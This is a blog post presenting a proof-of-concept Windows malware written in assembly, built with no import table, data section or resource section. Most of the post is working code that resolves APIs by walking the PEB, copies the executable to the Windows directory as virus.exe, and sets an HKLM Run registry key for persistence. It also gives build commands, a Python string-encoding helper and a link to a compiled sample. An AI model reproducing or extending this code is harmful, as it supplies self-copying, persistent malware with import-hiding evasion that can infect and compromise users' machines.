Tiny Malware PoC: Malware Without IAT, DATA OR Resource Section

  • Posted on: 13 August 2014
  • By: siteadm

Have you ever wondered about having an EXE without any entry in IAT (Import Address Table) at all? Well, I knew that it's possible, but never saw an actual exe file without IAT entry. So I developed an application which is 1,536 bytes and still does basic annoying malware things. So to summarize, this tiny app:

- Enumerates following APIs:

Kernel32

  • GetProcAddress
  • VirtualAlloc
  • GetModuleFileNameA
  • ExitProcess
  • CopyFileA
  • GetWindowsDirectoryA
  • LoadLibraryA

Advapi32

  • RegCreateKeyA
  • RegSetKeyValueA
  • RegCloseKey

User32

  • MessageBoxA

- Allocates 0x0B000 bytes in fixed memory location (0x0C000000)

- Resolves and stores all DLL handles, API function addresses, strings and API call return values in this newly allocated memory page.

- Copies itself to Windows directory under virus.exe name

- Creates a startup key in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run called viri and points to virus.exe in %WINDIR%

Shows a MessageBox with "Infected!" string as title and text of message.

- Terminates itself

So this is basically what I did, but developing it and extending it is just a matter of time.

Anyway, let's see the code:

Beginning of file is just finding Kernel32 handle and offset of export table of Kernel32.dll

[section] .text
BITS 32
global _start

_start:
xor ecx,ecx
mov eax,[fs:ecx+0x30]
mov eax,[eax+0xc]
mov esi,[eax+0x14]
lodsd
xchg eax,esi
lodsd
mov ebx,[eax+0x10]
mov edx,[ebx+0x3c]
add edx,ebx
mov edx,[edx+0x78]
add edx,ebx
mov esi,[edx+0x20]
add esi,ebx
xor ecx,ecx
xor ecx,ecx
mov eax,[fs:ecx+0x30]
mov eax,[eax+0xc] ; EAX = PEB->Ldr
mov esi,[eax+0x14] ; ESI = PEB-&>Ldr.InMemOrder 
lodsd ; EAX = Second module
xchg eax,esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third (kernel32)
mov ebx,[eax+0x10] ; EBX = Base address
mov edx,[ebx+0x3c] ; EDX = DOS->e_lfanew
add edx,ebx ; EDX = PE Header
mov edx,[edx+0x78] ; EDX = Offset export table
add edx,ebx ; EDX = Export table
mov esi,[edx+0x20] ; ESI = Offset names table
add esi,ebx ; ESI = Names table
xor ecx,ecx ; EXC = 0

tryagain:
inc ecx ; Loop for each function
lodsd
add eax,ebx ; Loop untill function name
cmp dword [eax],0x50746547 ; GetP
jnz tryagain
cmp dword [eax+0x4],0x41636f72 ; rocA
jnz tryagain
cmp dword [eax+0x8],0x65726464 ; ddre
jnz tryagain
mov esi,[edx+0x24] ; ESI = Offset ordinals
add esi,ebx ; ESI = Ordinals table
mov cx,[esi+ecx*2] ; CX = Number of function
dec ecx
mov esi,[edx+0x1c] ; ESI = Offset address table
add esi,ebx ; ESI = Address table
mov edx,[esi+ecx*4] ; EDX = Pointer(offset)
add edx,ebx ; EDX = GetProcAddress

As first step, we try to find VirtualAlloc API address:

xor ecx,ecx ; ECX = 0
PUSH 0
push ebx ; Kernel32 base address
push edx ; GetProcAddress
push ecx ; 0
push 0
push 0x636f6c6c
push 0x416c6175
push 0x74726956 ; VirtualAlloc
push esp
push ebx ; Kernel32 base address
call edx ; GetProcAddress(LL)
PUSH eax

As you can see the pushing string into stack and calling PUSH ESP does the trick, so as I needed to do this so often, I wrote a small Python code to generate this type of assembly instruction for a given String:

import sys
if len(sys.argv) != 2:
	print "Please provide a string argument"
	exit
APIName = sys.argv[1]

if len(APIName) % 4 != 0:
	APIName = APIName.ljust(((len(APIName)/4)+1)*4, '\0')
	
print "push 0"
for i in range(1, ((len(APIName) / 4) +1)):
	print "push " +  "0x"+"{0:02x}".format(ord(APIName[-(i*4-3)])) + "{0:02x}".format(ord(APIName[-(i*4-2)])) + "{0:02x}".format(ord(APIName[-(i*4-1)])) + "{0:02x}".format(ord(APIName[-(i*4)]))
print "push esp ;" + APIName

You can simply run this Python script with a string as parameter and it produces required ASM instruction for pushing given string into stack, example call and output:

C:\>APINameToASM.py user32.dll
push 0
push 0x00006c6c
push 0x642e3233
push 0x72657375
push esp ;user32.dll

Now we allocate a fixed size, fixed location memory page to store all strings and resolved API pointers:

PUSH 0x40 ; DWORD flProtect = PAGE_EXECUTE_READWRITE
PUSH 0x3000; DWORD flAllocationType = MEM_COMMIT | MEM_RESERVE
PUSH 0x0B000; SIZE_T dwSize
PUSH 0x0C000000 ; LPVOID lpAddress
CALL EAX ; call VirtualAlloc

From now on, we store all resolved API pointers in 0x0c000000 address. Whole table after running application will look like this:

0x0c000000 => Kernel32 handle
0x0C000004 => GetProcAddress pointer
0x0C000008 => VirtualAlloc pointer
0x0C00000C => GetModuleFileNameA pointer
0x0C000010 => ExitProcess pointer
0x0C000014 => CopyFileA pointer
0x0C000018 => GetWindowsDirectoryA pointer
0x0C00001C => LoadLibraryA pointer
; space for 40 kernel32 function address = 40 x 4 = 160 in decimal (0xA0)
; 0xA0 + 0x04 = 0xA4 beginning of Advapi
0x0C0000A4 => Advapi32 handle
0x0C0000A8 => RegCreateKeyA pointer
0x0C0000AC => RegSetKeyValueA pointer
0x0C000060 => RegCloseKey pointer
; space for 40 user32.dll function address = 40 x 4 = 160 in decimal (0xA0)
; 0xA4 + 0xA4 = 0x148 beginning of User32
0x0C000148 => User32 handle
0x0C00014C => MessageBoxA pointer

Also I used same memory page to store strings, for example:

0x0C00AEF0 => Current EXE file path (returned by GetModuleFileName API)
0x0C00ADEC => Windows Directory path (returned by GetWindowsDirectory API)
0x0C00ADE5 => "viri" string (registry value name)
0x0C00AB8C => "Infected!" string

Also I created 3 functions to resolve API pointers easier:

EnumKernelAPI:
POP EBP ; ret addr
MOV ECX, 0x0C000000
PUSH DWORD [ECX] ; kernel32 handle
call dword [ECX+0x04] ; getprocaddress
MOV ECX, 0x0C000000
PUSH EBP
retn


EnumAdvapiAPI:
POP EBP ; ret addr
MOV ECX, 0x0C000000
PUSH DWORD [ECX+0xA4] ; advapi32 handle
call dword [ECX+0x04] ; getprocaddress
MOV ECX, 0x0C000000
PUSH EBP
retn

EnumUserAPI:
POP EBP ; ret addr
MOV ECX, 0x0C000000
PUSH DWORD [ECX+0x148] ; user32 handle
call dword [ECX+0x04] ; getprocaddress
MOV ECX, 0x0C000000
PUSH EBP
retn

Also you need to call ExitProcess to prevent crashing, so:

TerminateProcess:
PUSH 0; dwExitCode
MOV ECX, 0x0C000000 
CALL DWORD [ECX+0x10] ; call ExitProcess

is necessary.

After resolving APIs, calling them is really easy, for example:

MOV ECX, 0x0C000000
push 1 ; bFailIfExists = false
push 0xC00ADEC ; %WINDIR%\Virus.exe
push 0x0C00AEF0 ; Current EXE path
call dword[ECX+0x14] ; CopyFileA

Result:

Another call:

mov ecx, 0xC00ADAC; location of subkey
mov dword[ecx+44], 0x0000006e
mov dword[ecx+40],  0x75525c6e
mov dword[ecx+36], 0x6f697372
mov dword[ecx+32], 0x6556746e
mov dword[ecx+28], 0x65727275
mov dword[ecx+24], 0x435c7377
mov dword[ecx+20], 0x6f646e69
mov dword[ecx+16], 0x575c7466
mov dword[ecx+12], 0x6f736f72
mov dword[ecx+8], 0x63694d5c
mov dword[ecx+4], 0x65726177
mov dword[ecx], 0x74666f53 ;Software\Microsoft\Windows\CurrentVersion\Run

push 0xC00ADE0 ; PHKEY phkResult
push 0xC00ADAC ; lpSubkey = Software\Microsoft\Windows\CurrentVersion\Run
push 0x80000002; HKEY = HKEY_LOCAL_MACHINE
mov ecx, 0x0C000000
call dword[ecx+0xA8] ; RegCreateKeyA
mov ecx, 0x0C000000

MOV DWORD[ECX+0xADE5], 0x69726976 ; viri string, will be used as registry value name
MOV EDI, 0xC00ADEC ; Address of C:\Windows\Virus.exe string

SUB ECX,ECX
SUB AL,AL
NOT ECX
CLD
REPNE SCASB
NOT ECX
DEC ECX ; Length of C:\Windows\Virus.exe, instead of hardcoding, we calculate it dynamically, incase some computers have Windows installed in WINNT or any other name

MOV EBX, 0x0C000000
MOV EDI, 0xC00ADEC
PUSH ECX ; DWORD cbData (length of C:\Windows\Virus.exe)
PUSH EDI ; LPCVOID lpData (C:\Windows\Virus.exe)
PUSH 1 ; DWORD dwTYPE = REG_SZ
PUSH 0x0C00ADE5 ; LPCTSTR lpValueName = viri
PUSH 0 ; LPCTSTR lpSubKey = NULL (will use already open key)
PUSH DWORD [EBX+0xADE0] ; HKEY hKey = output of previous RegCreateKeyA call
CALL DWORD [EBX+0xAC] ; RegSetKeyValue

MOV ECX, 0x0C000000
PUSH DWORD [ECX+0xADE0] ; HKEY hKey;
Call DWORD [ECX+0xB0] ; call RegCloseKey

Result:

Anyway, you can see entire source code here.

To compile you need to run two commands:

nasm -fwin32 IATLess.asm
link /subsystem:windows /entry:start IATLess.obj

No .data section:

and no IAT entry:

PEStudio screenshot:

 

 

UPDATE: As requested, I uploaded compiled file here. Password: infected

Add new comment

Plain text

  • No HTML tags allowed.
  • Web page addresses and e-mail addresses turn into links automatically.
  • Lines and paragraphs break automatically.
CAPTCHA
This question is for testing whether or not you are a human visitor and to prevent automated spam submissions.
Image CAPTCHA
Enter the characters shown in the image.